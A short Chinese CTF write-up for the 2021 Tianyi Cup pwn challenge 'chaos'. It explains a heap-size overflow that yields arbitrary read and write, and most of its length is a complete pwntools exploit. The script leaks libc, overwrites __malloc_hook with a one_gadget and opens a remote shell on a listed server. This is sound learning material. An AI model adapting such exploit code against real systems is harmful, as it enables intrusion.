2021_天翼杯_pwn

  1. 1. 写在前面
  2. 2. chaos
    1. 2.1. 题目分析及漏洞利用
    2. 2.2. exp

写在前面

这个比赛难度还是比较大的,才出了一道pwn题,总共就看了两道题目,写点笔记记录一下

chaos

题目附件

题目分析及漏洞利用

前面是有一点代码审计的感觉,不过还是比较简单的,花点时间就好了,后面就是常规的菜单题目。chunk其实就是简单的单链表结构,释放的时候就是简单的脱链。

在申请堆块的时候存在溢出,可以修改到size部分,然后配合编辑就可以修改chunk_addr,再编辑就达到任意地址写。

同理也可以达到任意地址读的操作,也是修改chunk_addr指针部分

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
#coding=utf-8
from pwn import *
context(log_level='debug',arch='amd64')
binary='./chall'
main_arena = 0x3ebc40
s = lambda buf: io.send(buf)
sl = lambda buf: io.sendline(buf)
sa = lambda delim, buf: io.sendafter(delim, buf)
sal = lambda delim, buf: io.sendlineafter(delim, buf)
shell = lambda: io.interactive()
r = lambda n=None: io.recv(n)
ra = lambda t=tube.forever:io.recvall(t)
ru = lambda delim: io.recvuntil(delim)
rl = lambda: io.recvline()
rls = lambda n=2**20: io.recvlines(n)
su = lambda buf,addr:io.success(buf+"==>"+hex(addr))
local = 0
if local == 1:
io=process(binary)
else:
io=remote('8.134.37.86',20323)
e=ELF(binary)
#libc=ELF("/lib/x86_64-linux-gnu/libc.so.6")
libc= ELF("./libc-2.27.so")
one_gadget = [0x4f3d5,0x4f432,0x10a41c]
def add(size,content = b'a'):
ru(">>> ")
s("opcode:1\npasswd:Cr4at31\n\r\r\n")
ru(">>> ")
s(str(size))
ru(">>> ")
s(content)
def show(index):
ru(">>> ")
s("opcode:2\npasswd:SH0w1\n\r\r\n")
ru(">>> ")
sl(str(index))

def edit(index,content):
ru(">>> ")
s("opcode:3\npasswd:Ed1t1\n\r\r\n")
ru(">>> ")
sl(str(index))
ru(">>> ")
s(content)
def free(index):
ru(">>> ")
s("opcode:4\npasswd:D3l4te1\n\r\r\n")
ru(">>> ")
sl(str(index))

add(0x208,b'a'*0x208)#2
add(0x208,b'a'*0x208)#1
add(0x208,b'a'*0x208)#0

#add(0x208,b'a')
show(0)
heap_addr = u64(io.recvuntil('\n',drop = True)[-6:].ljust(8,b'\x00'))-1216
su("heap",heap_addr)
#free(0)
for i in range(5):
add(0x208,b'a'*0x208)#0
for i in range(7):
free(0)
free(0)

add(0x208,b'a'*0x208)#0
edit(0,b'a'*0x208+p64(heap_addr+0x2e0))

show(1)
libc_base = u64(ru(b'\x7f')[-6:].ljust(8,b'\x00')) - 4111520
su('libc_base',libc_base)
fh = libc.sym['__free_hook'] + libc_base
mh = libc.sym['__malloc_hook'] + libc_base
system = libc.sym['system'] + libc_base
rc = libc_base + libc.sym['realloc']
one = one_gadget[2] + libc_base
edit(0,b'a'*0x208+p64(mh-0x8))
edit(1,p64(one)+p64(rc+14))
#gdb.attach(io)
ru(">>> ")
s("opcode:4\npasswd:D3l4tea\n\r\r\n")
#add(0x208)#0


shell()